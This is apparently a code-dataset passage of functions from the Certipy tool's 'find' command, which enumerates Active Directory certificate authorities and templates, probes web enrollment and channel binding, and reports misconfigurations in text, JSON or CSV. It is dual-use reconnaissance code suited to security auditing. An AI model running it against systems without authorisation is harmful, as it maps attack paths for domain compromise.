"issuance_policies_linked_groups", [linked_group] ) return enabled_oids_count
Link templates to their issuance policies and vice versa. Args: templates: List of certificate templates oids: List of issuance policies Returns: Number of enabled OIDs
_link_templates_and_policies
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_ca_properties(self, cas: List[LDAPEntry]) -> None: """ Process certificate authority properties and security settings. Args: cas: List of certificate authorities """ for ca in cas: if self.dc_only: # In DC-only mode, we don't connect to CAs directly ca_properties = { "user_specified_san": "Unknown", "request_disposition": "Unknown", "enforce_encrypt_icertrequest": "Unknown", "security": None, "web_enrollment": { "http": {"enabled": "Unknown"}, "https": {"enabled": "Unknown", "channel_binding": None}, }, } else: # Connect to CA and get configuration ca_properties = self._get_ca_config_and_web_enrollment(ca) # Apply all properties to the CA object for key, value in ca_properties.items(): ca.set(key, value) # Process CA certificate if available self._process_ca_certificate(ca)
Process certificate authority properties and security settings. Args: cas: List of certificate authorities
_process_ca_properties
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _get_ca_config_and_web_enrollment(self, ca: LDAPEntry) -> Dict[str, Any]: """ Get CA configuration and web enrollment settings. Args: ca: Certificate authority object Returns: Dictionary of CA properties """ # Default values ca_properties: Dict[str, Any] = { "user_specified_san": "Unknown", "request_disposition": "Unknown", "enforce_encrypt_icertrequest": "Unknown", "security": None, "web_enrollment": { "http": {"enabled": "Unknown"}, "https": {"enabled": "Unknown", "channel_binding": None}, }, } ca_name = ca.get("name") ca_remote_name = ca.get("dNSHostName") try: # Get CA hostname and IP ca_target_ip = self.target.resolver.resolve(ca_remote_name) # Clone target for this CA ca_target = copy.copy(self.target) ca_target.remote_name = ca_remote_name ca_target.target_ip = ca_target_ip # Connect to CA and get configuration ca_service = CA(ca_target, ca=ca_name) ca_configuration = ca_service.get_config() active_policy = "Unknown" request_disposition = "Unknown" user_specified_san = "Unknown" enforce_encrypt_icertrequest = "Unknown" disabled_extensions = "Unknown" security = None if ca_configuration is not None: active_policy = ca_configuration.active_policy # Process request disposition request_disposition = ( "Pending" if ca_configuration.request_disposition & 0x100 else "Issue" ) # Process SAN flag user_specified_san = ( ca_configuration.edit_flags & 0x00040000 ) == 0x00040000 user_specified_san = "Enabled" if user_specified_san else "Disabled" # Process encryption flag enforce_encrypt = ( ca_configuration.interface_flags & 0x00000200 ) == 0x00000200 enforce_encrypt_icertrequest = ( "Enabled" if enforce_encrypt else "Disabled" ) # TODO: Map to human-readable format disabled_extensions = ca_configuration.disable_extension_list security = ca_configuration.security # Update properties ca_properties.update( { "active_policy": active_policy, "user_specified_san": user_specified_san, "request_disposition": request_disposition, "enforce_encrypt_icertrequest": enforce_encrypt_icertrequest, "disabled_extensions": disabled_extensions, "security": security, } ) except Exception as e: logging.warning( f"Failed to get CA security and configuration for {ca_name!r}: {e}" ) handle_error(True) # Check web enrollment logging.info(f"Checking web enrollment for CA {ca_name!r} @ {ca_remote_name!r}") try: ca_properties["web_enrollment"]["http"]["enabled"] = ( self.check_web_enrollment(ca, "http") ) https_enabled = self.check_web_enrollment(ca, "https") ca_properties["web_enrollment"]["https"]["enabled"] = https_enabled if https_enabled: # Check channel binding (EPA) channel_binding_enabled = self.check_channel_binding(ca) ca_properties["web_enrollment"]["https"]["channel_binding"] = ( "Unknown" if channel_binding_enabled is None else channel_binding_enabled ) except Exception as e: logging.warning(f"Failed to check Web Enrollment for CA {ca_name!r}: {e}") handle_error(True) return ca_properties
Get CA configuration and web enrollment settings. Args: ca: Certificate authority object Returns: Dictionary of CA properties
_get_ca_config_and_web_enrollment
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_ca_certificate(self, ca: LDAPEntry): """ Process CA certificate information. Args: ca: Certificate authority object """ subject_name = ca.get("cACertificateDN") ca.set("subject_name", subject_name) try: if not ca.get("cACertificate"): return # Parse the CA certificate ca_cert = x509.Certificate.load(ca.get("cACertificate")[0])[ "tbs_certificate" ] # Get certificate serial number serial_number = hex(int(ca_cert["serial_number"]))[2:].upper() # Get certificate validity period validity = ca_cert["validity"].native validity_start = str(validity["not_before"]) validity_end = str(validity["not_after"]) # Set certificate properties ca.set("serial_number", serial_number) ca.set("validity_start", validity_start) ca.set("validity_end", validity_end) except Exception as e: logging.warning( f"Could not parse CA certificate for {ca.get('name')!r}: {e}" ) handle_error(True)
Process CA certificate information. Args: ca: Certificate authority object
_process_ca_certificate
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def check_web_enrollment(self, ca: LDAPEntry, channel: str) -> bool: """ Check if web enrollment is enabled on the CA. Args: ca: Certificate authority object channel: Protocol to check (http or https) Returns: True if enabled, False if disabled, None if unknown """ target_name = ca.get("dNSHostName") target_ip = self.target.resolver.resolve(target_name) headers = { "User-Agent": USER_AGENT, "Host": target_name, } session = httpx.Client( timeout=self.target.timeout, verify=False, ) url = f"{channel}://{target_ip}/certsrv/" try: logging.debug(f"Connecting to {url!r}") res = session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) # 401 indicates authentication required (service is running) if res.status_code == 401: logging.debug(f"Web enrollment seems enabled over {channel}") return True except requests.exceptions.Timeout: logging.debug(f"Web enrollment seems disabled over {channel}") return False except Exception as e: logging.warning(f"Error checking web enrollment: {e}") handle_error(True) return False
Check if web enrollment is enabled on the CA. Args: ca: Certificate authority object channel: Protocol to check (http or https) Returns: True if enabled, False if disabled, None if unknown
check_web_enrollment
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def check_channel_binding(self, ca: LDAPEntry) -> Optional[bool]: """ Check if a Certificate Authority web enrollment endpoint enforces channel binding (EPA). This method tests HTTPS web enrollment authentication with and without channel binding to determine if Extended Protection for Authentication (EPA) is enabled. Args: ca: LDAP entry for the Certificate Authority Returns: True if channel binding is enforced False if channel binding is disabled None if the test was inconclusive or failed """ target_name = ca.get("dNSHostName") ca_name = ca.get("name") logging.debug(f"Checking channel binding for CA {ca_name!r} ({target_name!r})") # Set up connection parameters try: target_ip = self.target.resolver.resolve(target_name) # Create a copy of the target with CA-specific settings ca_target = copy.copy(self.target) ca_target.remote_name = target_name # Select authentication method based on whether Kerberos is enabled do_ntlm = not self.target.do_kerberos if do_ntlm: no_cb_auth = HttpxNtlmAuth(ca_target, channel_binding=False) cb_auth = HttpxNtlmAuth(ca_target, channel_binding=True) else: no_cb_auth = HttpxKerberosAuth(ca_target, channel_binding=False) cb_auth = HttpxKerberosAuth(ca_target, channel_binding=True) url = f"https://{target_ip}/certsrv/" headers = {"User-Agent": USER_AGENT, "Host": target_name} # First test: Try authentication without channel binding no_cb_session = httpx.Client( auth=no_cb_auth, timeout=self.target.timeout, verify=False, ) res_no_cb = no_cb_session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) logging.debug( f"CA {ca_name!r} responds with {res_no_cb.status_code} over HTTPS without channel binding" ) # If non-401 status code, channel binding is likely disabled # (server accepted auth without channel binding) if res_no_cb.status_code != 401: logging.debug("Channel binding (EPA) seems disabled") return False # Second test: Try authentication with channel binding cb_session = httpx.Client( auth=cb_auth, timeout=self.target.timeout, verify=False, ) res_cb = cb_session.get( url, headers=headers, timeout=self.target.timeout, follow_redirects=False, ) logging.debug( f"CA {ca_name!r} responds with {res_cb.status_code} over HTTPS with channel binding" ) # If status code is not 401, channel binding is likely enabled # (server accepted auth with channel binding but not without it) if res_cb.status_code != 401: logging.debug("Channel binding (EPA) seems enabled") return True else: # Both requests returned 401, likely due to invalid credentials logging.warning( "Channel binding (EPA) produces the same response as without it. Perhaps invalid credentials?" ) return None except NtlmNotSupportedError: # NTLM not supported, skip channel binding check logging.warning( "Failed to check channel binding: NTLM not supported. Try using Kerberos authentication (-k and -dc-host)." ) return None except Exception as e: logging.warning(f"Failed to check channel binding: {e}") handle_error(True) return None
Check if a Certificate Authority web enrollment endpoint enforces channel binding (EPA). This method tests HTTPS web enrollment authentication with and without channel binding to determine if Extended Protection for Authentication (EPA) is enabled. Args: ca: LDAP entry for the Certificate Authority Returns: True if channel binding is enforced False if channel binding is disabled None if the test was inconclusive or failed
check_channel_binding
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_template_properties(self, templates: List[LDAPEntry]): """ Process certificate template properties. Args: templates: List of certificate templates """ for template in templates: # Set enabled flag template_cas = template.get("cas") enabled = template_cas is not None and len(template_cas) > 0 template.set("enabled", enabled) # Process validity periods self._process_template_validity(template) # Process template flags self._process_template_flags(template) # Process template policies self._process_template_policies(template)
Process certificate template properties. Args: templates: List of certificate templates
_process_template_properties
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_template_validity(self, template: LDAPEntry): """ Process template validity periods. Args: template: Certificate template """ # Process expiration period expiration_period = template.get("pKIExpirationPeriod") if expiration_period is not None: validity_period = filetime_to_str(expiration_period) else: validity_period = 0 template.set("validity_period", validity_period) # Process overlap (renewal) period overlap_period = template.get("pKIOverlapPeriod") if overlap_period is not None: renewal_period = filetime_to_str(overlap_period) else: renewal_period = 0 template.set("renewal_period", renewal_period)
Process template validity periods. Args: template: Certificate template
_process_template_validity
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_template_flags(self, template: LDAPEntry): """ Process template flag attributes. Args: template: Certificate template """ # Process certificate name flags certificate_name_flag = template.get("msPKI-Certificate-Name-Flag") if certificate_name_flag is not None: certificate_name_flag = CertificateNameFlag(int(certificate_name_flag)) else: certificate_name_flag = CertificateNameFlag(0) template.set("certificate_name_flag", certificate_name_flag.to_list()) # Process enrollment flags enrollment_flag = template.get("msPKI-Enrollment-Flag") if enrollment_flag is not None: enrollment_flag = EnrollmentFlag(int(enrollment_flag)) else: enrollment_flag = EnrollmentFlag(0) template.set("enrollment_flag", enrollment_flag.to_list()) # Process private key flags private_key_flag = template.get("msPKI-Private-Key-Flag") if private_key_flag is not None: private_key_flag = PrivateKeyFlag(int(private_key_flag)) else: private_key_flag = PrivateKeyFlag(0) template.set("private_key_flag", private_key_flag.to_list()) # Process signature requirements authorized_signatures_required = template.get("msPKI-RA-Signature") if authorized_signatures_required is not None: authorized_signatures_required = int(authorized_signatures_required) else: authorized_signatures_required = 0 template.set("authorized_signatures_required", authorized_signatures_required) # Process schema version schema_version = template.get("msPKI-Template-Schema-Version") if schema_version is not None: schema_version = int(schema_version) else: schema_version = 1 template.set("schema_version", schema_version)
Process template flag attributes. Args: template: Certificate template
_process_template_flags
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _process_template_policies(self, template: LDAPEntry): """ Process template policy attributes and extended key usage. Args: template: Certificate template """ # Process application policies application_policies = template.get_raw("msPKI-RA-Application-Policies") if not isinstance(application_policies, list): application_policies = ( [] if application_policies is None else [application_policies] ) # Convert from bytes to strings and resolve OIDs application_policies = [p.decode() for p in application_policies] application_policies = [OID_TO_STR_MAP.get(p, p) for p in application_policies] template.set("application_policies", application_policies) # Process extended key usage (EKU) eku = template.get_raw("pKIExtendedKeyUsage") if not isinstance(eku, list): eku = [] if eku is None else [eku] # Convert from bytes to strings and resolve OIDs eku = cast(List[str], [e.decode() for e in eku]) extended_key_usage = [OID_TO_STR_MAP.get(e, e) for e in eku] template.set("extended_key_usage", extended_key_usage) # Determine template capabilities self._determine_template_capabilities(template, extended_key_usage)
Process template policy attributes and extended key usage. Args: template: Certificate template
_process_template_policies
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _determine_template_capabilities( self, template: LDAPEntry, extended_key_usage: List[str] ): """ Determine template capabilities from EKU and flags. Args: template: Certificate template extended_key_usage: List of extended key usage values """ # Check for "any purpose" EKU any_purpose = "Any Purpose" in extended_key_usage or not extended_key_usage template.set("any_purpose", any_purpose) # Check for client authentication capability client_auth_ekus = [ "Client Authentication", "Smart Card Logon", "PKINIT Client Authentication", ] client_authentication = any_purpose or any( eku in extended_key_usage for eku in client_auth_ekus ) template.set("client_authentication", client_authentication) # Check for enrollment agent capability enrollment_agent = ( any_purpose or "Certificate Request Agent" in extended_key_usage ) template.set("enrollment_agent", enrollment_agent) # Check if enrollee can supply subject certificate_name_flag = template.get("certificate_name_flag", []) enrollee_supplies_subject = any( CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT in flag for flag in certificate_name_flag ) template.set("enrollee_supplies_subject", enrollee_supplies_subject) # Check if template requires manager approval enrollment_flag = template.get("enrollment_flag", []) requires_manager_approval = EnrollmentFlag.PEND_ALL_REQUESTS in enrollment_flag template.set("requires_manager_approval", requires_manager_approval) # Check if template has no security extension no_security_extension = EnrollmentFlag.NO_SECURITY_EXTENSION in enrollment_flag template.set("no_security_extension", no_security_extension) # Check if template requires key archival private_key_flag = template.get("private_key_flag", []) requires_key_archival = ( PrivateKeyFlag.REQUIRE_PRIVATE_KEY_ARCHIVAL in private_key_flag ) template.set("requires_key_archival", requires_key_archival)
Determine template capabilities from EKU and flags. Args: template: Certificate template extended_key_usage: List of extended key usage values
_determine_template_capabilities
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _save_output( self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry], prefix: str, ): """ Generate and save output in requested formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies prefix: Output file prefix """ # Determine if default output format should be used not_specified = not any([self.json, self.text, self.csv]) # Generate output for text/JSON formats output = self.get_output_for_text_and_json(templates, cas, oids) # Save text output if self.text or not_specified: output_text_stdout = copy.copy(output) if self.trailing_output: output_text_stdout["ESC14"] = self.trailing_output if self.stdout: logging.info("Enumeration output:") pretty_print(output_text_stdout) else: output_path = f"{prefix}_Certipy.txt" logging.info(f"Saving text output to {output_path!r}") f = io.StringIO() pretty_print( output_text_stdout, print_func=lambda x: f.write(x + "\n"), ) output_path = try_to_save_file( f.getvalue(), output_path, ) logging.info(f"Wrote text output to {output_path!r}") # Save JSON output if self.json or not_specified: output_path = f"{prefix}_Certipy.json" logging.info(f"Saving JSON output to {output_path!r}") f = io.StringIO() json.dump( output, f, indent=2, default=str, ) output_path = try_to_save_file( f.getvalue(), output_path, ) logging.info(f"Wrote JSON output to {output_path!r}") # Save CSV output if self.csv: # Save templates CSV template_output = self.get_template_output_for_csv(output) template_output_path = f"{prefix}_Templates_Certipy.csv" logging.info(f"Saving templates CSV output to {template_output_path!r}") template_output_path = try_to_save_file( template_output, template_output_path ) logging.info(f"Wrote templates CSV output to {template_output_path!r}") # Save CA CSV ca_output = self.get_ca_output_for_csv(output) ca_output_path = f"{prefix}_CAs_Certipy.csv" logging.info(f"Saving CA CSV output to {ca_output_path!r}") ca_output_path = try_to_save_file(ca_output, ca_output_path) logging.info(f"Wrote CA CSV output to {ca_output_path!r}")
Generate and save output in requested formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies prefix: Output file prefix
_save_output
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_output_for_text_and_json( self, templates: List[LDAPEntry], cas: List[LDAPEntry], oids: List[LDAPEntry] ) -> Dict[str, Any]: """ Generate structured output for text and JSON formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies Returns: Dictionary containing structured output """ ca_entries = {} template_entries = {} oids_entries = {} # Process templates for template in templates: # Skip if only showing enabled templates and this one isn't if self.enabled and template.get("enabled") is not True: continue # Get template vulnerabilities (vulnerabilities, remarks, enrollable_principals, acl_principals) = ( self.get_template_vulnerabilities(template) ) # Skip if only showing vulnerable templates and this one isn't if self.vuln and not vulnerabilities: continue # Create entry with properties and permissions entry = OrderedDict() entry = self.get_template_properties(template, entry) # Add permissions permissions = self.get_template_permissions(template) if permissions: entry["Permissions"] = permissions # Add enrollable principals if enrollable_principals: entry["[+] User Enrollable Principals"] = enrollable_principals # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities if remarks: entry["[*] Remarks"] = remarks # Add entry to collection template_entries[len(template_entries)] = entry # Process CAs for ca in cas: # Create entry with properties and permissions entry = OrderedDict() entry = self.get_ca_properties(ca, entry) # Add permissions permissions = self.get_ca_permissions(ca) if permissions: entry["Permissions"] = permissions # Add vulnerabilities (vulnerabilities, remarks, enrollable_principals, acl_principals) = ( self.get_ca_vulnerabilities(ca) ) # Add enrollable principals if acl_principals: entry["[+] User Enrollable Principals"] = enrollable_principals # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities # Add CA certificate properties if remarks: entry["[*] Remarks"] = remarks # Add entry to collection ca_entries[len(ca_entries)] = entry # Process OIDs if requested if self.oids: for oid in oids: # Get OID vulnerabilities (vulnerabilities, acl_principals) = self.get_oid_vulnerabilities(oid) # Skip if only showing vulnerable OIDs and this one isn't if self.vuln and not vulnerabilities: continue # Create entry with properties and permissions entry = OrderedDict() entry = self.get_oid_properties(oid, entry) # Add permissions permissions = self.get_oid_permissions(oid) if permissions: entry["Permissions"] = permissions # Add ACL principals if acl_principals: entry["[+] User ACL Principals"] = acl_principals # Add vulnerabilities if vulnerabilities: entry["[!] Vulnerabilities"] = vulnerabilities # Add entry to collection oids_entries[len(oids_entries)] = entry # Build final output dictionary output = {} # Add CAs if not ca_entries: output["Certificate Authorities"] = "[!] Could not find any CAs" else: output["Certificate Authorities"] = ca_entries # Add templates if not template_entries: output["Certificate Templates"] = ( "[!] Could not find any certificate templates" ) else: output["Certificate Templates"] = template_entries # Add OIDs if requested if self.oids: if not oids_entries: output["Issuance Policies"] = "[!] Could not find any issuance policy" else: output["Issuance Policies"] = oids_entries return output
Generate structured output for text and JSON formats. Args: templates: List of certificate templates cas: List of certificate authorities oids: List of issuance policies Returns: Dictionary containing structured output
get_output_for_text_and_json
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_ca_output_for_csv(self, output: Dict[str, Any]) -> str: """ Convert Certificate Authority data to CSV format. This function transforms nested CA data into a flattened CSV format. It handles complex nested structures like permissions and web enrollment settings in a way that makes them readable in CSV format. Args: output: Dictionary containing CA data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data """ # Column order for the CSV output (determines which fields to include and their order) column_order = [ "CA Name", "DNS Name", "Certificate Subject", "Certificate Serial Number", "Certificate Validity Start", "Certificate Validity End", "User Specified SAN", "Request Disposition", "Enforce Encryption for Requests", "Web Enrollment HTTP", "Web Enrollment HTTPS", "Channel Binding", "Owner", "Manage CA Principals", "Manage Certificates Principals", "[!] Vulnerabilities", ] # Create CSV writer with semicolon delimiter and quote all fields csvfile = io.StringIO(newline="") writer = csv.DictWriter( csvfile, fieldnames=column_order, extrasaction="ignore", # Ignore fields not in column_order delimiter=";", quoting=csv.QUOTE_ALL, ) # Write header row writer.writeheader() # Check if we have valid CA data if not isinstance(output.get("Certificate Authorities"), dict): logging.warning("No certificate authority data available for CSV export") return csvfile.getvalue() try: # Process each CA and flatten its structure ca_rows = [ self._flatten_ca_data(output["Certificate Authorities"][id_]) for id_ in output["Certificate Authorities"] ] # Write all rows to CSV writer.writerows(ca_rows) return csvfile.getvalue() except Exception as e: logging.error(f"Error generating CA CSV data: {e}") handle_error() return csvfile.getvalue()
Convert Certificate Authority data to CSV format. This function transforms nested CA data into a flattened CSV format. It handles complex nested structures like permissions and web enrollment settings in a way that makes them readable in CSV format. Args: output: Dictionary containing CA data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data
get_ca_output_for_csv
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _flatten_ca_data(self, ca_entry: Dict[str, Any]) -> Dict[str, str]: """ Flatten a nested CA dictionary for CSV output. Handles special cases like permissions dictionaries, web enrollment settings, and list values by converting them to appropriate string representations. Args: ca_entry: Dictionary containing CA data Returns: Flattened dictionary with string values suitable for CSV """ items = [] # Process each field in the CA entry for key, value in ca_entry.items(): # Handle web enrollment specially if key == "Web Enrollment" and isinstance(value, dict): # Extract HTTP status if ( "http" in value and isinstance(value["http"], dict) and "enabled" in value["http"] ): http_status = "Enabled" if value["http"]["enabled"] else "Disabled" items.append(("Web Enrollment HTTP", http_status)) # Extract HTTPS status if "https" in value and isinstance(value["https"], dict): if "enabled" in value["https"]: https_status = ( "Enabled" if value["https"]["enabled"] else "Disabled" ) items.append(("Web Enrollment HTTPS", https_status)) # Extract channel binding status if "channel_binding" in value["https"]: cb_status = "Unknown" if value["https"]["channel_binding"] is True: cb_status = "Enabled" elif value["https"]["channel_binding"] is False: cb_status = "Disabled" items.append(("Channel Binding", cb_status)) # Handle permissions specially elif "Permissions" in key and isinstance(value, dict): # Process owner if "Owner" in value: items.append(("Owner", str(value["Owner"]))) # Process access rights if "Access Rights" in value and isinstance( value["Access Rights"], dict ): access_rights = value["Access Rights"] # Process Manage CA permissions if "Manage CA" in access_rights and isinstance( access_rights["Manage CA"], list ): items.append( ( "Manage CA Principals", "\n".join(access_rights["Manage CA"]), ) ) # Process Manage Certificates permissions if "Manage Certificates" in access_rights and isinstance( access_rights["Manage Certificates"], list ): items.append( ( "Manage Certificates Principals", "\n".join(access_rights["Manage Certificates"]), ) ) # Handle vulnerabilities specially elif "[!] Vulnerabilities" in key and isinstance(value, dict): vuln_list = [f"{k}: {v}" for k, v in value.items()] items.append((key, "\n".join(vuln_list))) # Handle dictionaries (convert to "key: value" format) elif isinstance(value, dict): formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()]) items.append((key, formatted_value)) # Handle lists (join with newlines for better CSV reading) elif isinstance(value, list): items.append((key, "\n".join(map(str, value)))) # Handle simple values else: items.append((key, str(value) if value is not None else "")) return dict(items)
Flatten a nested CA dictionary for CSV output. Handles special cases like permissions dictionaries, web enrollment settings, and list values by converting them to appropriate string representations. Args: ca_entry: Dictionary containing CA data Returns: Flattened dictionary with string values suitable for CSV
_flatten_ca_data
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_template_output_for_csv(self, output: Dict[str, Any]) -> str: """ Convert certificate template data to CSV format. This function transforms nested certificate templates data into a flattened CSV format. It handles complex nested structures like permissions and lists in a way that makes them readable in CSV format. Args: output: Dictionary containing certificate template data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data Raises: ValueError: If certificate template data is malformed or missing """ # Column order for the CSV output (determines which fields to include and their order) column_order = [ "Template Name", "Display Name", "Certificate Authorities", "Enabled", "Client Authentication", "Enrollment Agent", "Any Purpose", "Enrollee Supplies Subject", "Certificate Name Flag", "Enrollment Flag", "Private Key Flag", "Extended Key Usage", "Requires Manager Approval", "Requires Key Archival", "Authorized Signatures Required", "Validity Period", "Renewal Period", "Minimum RSA Key Length", "Enrollment Permissions", "Owner", "Write Owner Principals", "Write Dacl Principals", "Write Property Principals", "[!] Vulnerabilities", ] # Create CSV writer with semicolon delimiter and quote all fields csvfile = io.StringIO(newline="") writer = csv.DictWriter( csvfile, fieldnames=column_order, extrasaction="ignore", # Ignore fields not in column_order delimiter=";", quoting=csv.QUOTE_ALL, ) # Write header row writer.writeheader() # Check if we have valid template data if not isinstance(output.get("Certificate Templates"), dict): logging.warning("No certificate templates data available for CSV export") return csvfile.getvalue() try: # Process each template and flatten its structure template_rows = [ self._flatten_template_data(output["Certificate Templates"][id_]) for id_ in output["Certificate Templates"] ] # Write all rows to CSV writer.writerows(template_rows) return csvfile.getvalue() except Exception as e: logging.error(f"Error generating CSV data: {e}") handle_error() return csvfile.getvalue()
Convert certificate template data to CSV format. This function transforms nested certificate templates data into a flattened CSV format. It handles complex nested structures like permissions and lists in a way that makes them readable in CSV format. Args: output: Dictionary containing certificate template data (from get_output_for_text_and_json) Returns: String containing CSV-formatted data Raises: ValueError: If certificate template data is malformed or missing
get_template_output_for_csv
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def _flatten_template_data(self, template_entry: Dict[str, Any]) -> Dict[str, str]: """ Flatten a nested template dictionary for CSV output. Handles special cases like permissions dictionaries, nested objects, and list values by converting them to appropriate string representations. Args: template_entry: Dictionary containing template data Returns: Flattened dictionary with string values suitable for CSV """ items = [] # Process each field in the template for key, value in template_entry.items(): # Handle permissions specially if "Permissions" in key and isinstance(value, dict): for section_name, section_data in value.items(): if "Enrollment Permissions" in section_name: # Extract enrollment rights if ( isinstance(section_data, dict) and "Enrollment Rights" in section_data ): items.append( ( section_name, "\n".join(section_data["Enrollment Rights"]), ) ) elif "Object Control Permissions" in section_name: # Process each permission type for perm_name, principals in section_data.items(): if isinstance(principals, list): items.append((perm_name, "\n".join(principals))) else: items.append((perm_name, str(principals))) # Handle dictionaries (convert to "key: value" format) elif isinstance(value, dict): formatted_value = ", ".join([f"{k}: {v}" for k, v in value.items()]) items.append((key, formatted_value)) # Handle lists (join with newlines for better CSV reading) elif isinstance(value, list): items.append((key, "\n".join(map(str, value)))) # Handle simple values else: items.append((key, str(value) if value is not None else "")) return dict(items)
Flatten a nested template dictionary for CSV output. Handles special cases like permissions dictionaries, nested objects, and list values by converting them to appropriate string representations. Args: template_entry: Dictionary containing template data Returns: Flattened dictionary with string values suitable for CSV
_flatten_template_data
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_template_properties( self, template: LDAPEntry, template_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract template properties for output. Args: template: Certificate template template_properties: Optional existing properties dictionary Returns: Dictionary of template properties """ # Map of template properties to display names properties_map = { "cn": "Template Name", "displayName": "Display Name", "cas": "Certificate Authorities", "enabled": "Enabled", "client_authentication": "Client Authentication", "enrollment_agent": "Enrollment Agent", "any_purpose": "Any Purpose", "enrollee_supplies_subject": "Enrollee Supplies Subject", "certificate_name_flag": "Certificate Name Flag", "enrollment_flag": "Enrollment Flag", "private_key_flag": "Private Key Flag", "extended_key_usage": "Extended Key Usage", "requires_manager_approval": "Requires Manager Approval", "requires_key_archival": "Requires Key Archival", "application_policies": "RA Application Policies", "authorized_signatures_required": "Authorized Signatures Required", "schema_version": "Schema Version", "validity_period": "Validity Period", "renewal_period": "Renewal Period", "msPKI-Minimal-Key-Size": "Minimum RSA Key Length", "whenCreated": "Template Created", "whenChanged": "Template Last Modified", "msPKI-Certificate-Policy": "Issuance Policies", "issuance_policies_linked_groups": "Linked Groups", } # Create properties dictionary if template_properties is None: template_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = template.get(property_key) if property_value is not None: template_properties[display_name] = property_value return template_properties
Extract template properties for output. Args: template: Certificate template template_properties: Optional existing properties dictionary Returns: Dictionary of template properties
get_template_properties
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_ca_properties( self, ca: LDAPEntry, ca_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract CA properties for output. Args: ca: Certificate authority ca_properties: Optional existing properties dictionary Returns: Dictionary of CA properties """ # Map of CA properties to display names properties_map = { "name": "CA Name", "dNSHostName": "DNS Name", "cACertificateDN": "Certificate Subject", "serial_number": "Certificate Serial Number", "validity_start": "Certificate Validity Start", "validity_end": "Certificate Validity End", "web_enrollment": "Web Enrollment", "user_specified_san": "User Specified SAN", "request_disposition": "Request Disposition", "enforce_encrypt_icertrequest": "Enforce Encryption for Requests", "active_policy": "Active Policy", "disabled_extensions": "Disabled Extensions", } # Create properties dictionary if ca_properties is None: ca_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = ca.get(property_key) if property_value is not None: ca_properties[display_name] = property_value return ca_properties
Extract CA properties for output. Args: ca: Certificate authority ca_properties: Optional existing properties dictionary Returns: Dictionary of CA properties
get_ca_properties
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
def get_oid_properties( self, oid: LDAPEntry, oid_properties: Optional[Dict[str, Any]] = None ) -> Dict[str, Any]: """ Extract OID properties for output. Args: oid: Issuance policy object oid_properties: Optional existing properties dictionary Returns: Dictionary of OID properties """ # Map of OID properties to display names properties_map = { "cn": "Issuance Policy Name", "displayName": "Display Name", "templates": "Certificate Template(s)", "linked_group": "Linked Group", } # Create properties dictionary if oid_properties is None: oid_properties = OrderedDict() # Extract properties that exist for property_key, display_name in properties_map.items(): property_value = oid.get(property_key) if property_value is not None: oid_properties[display_name] = property_value return oid_properties
Extract OID properties for output. Args: oid: Issuance policy object oid_properties: Optional existing properties dictionary Returns: Dictionary of OID properties
get_oid_properties
python
ly4k/Certipy
certipy/commands/find.py
https://github.com/ly4k/Certipy/blob/master/certipy/commands/find.py
MIT
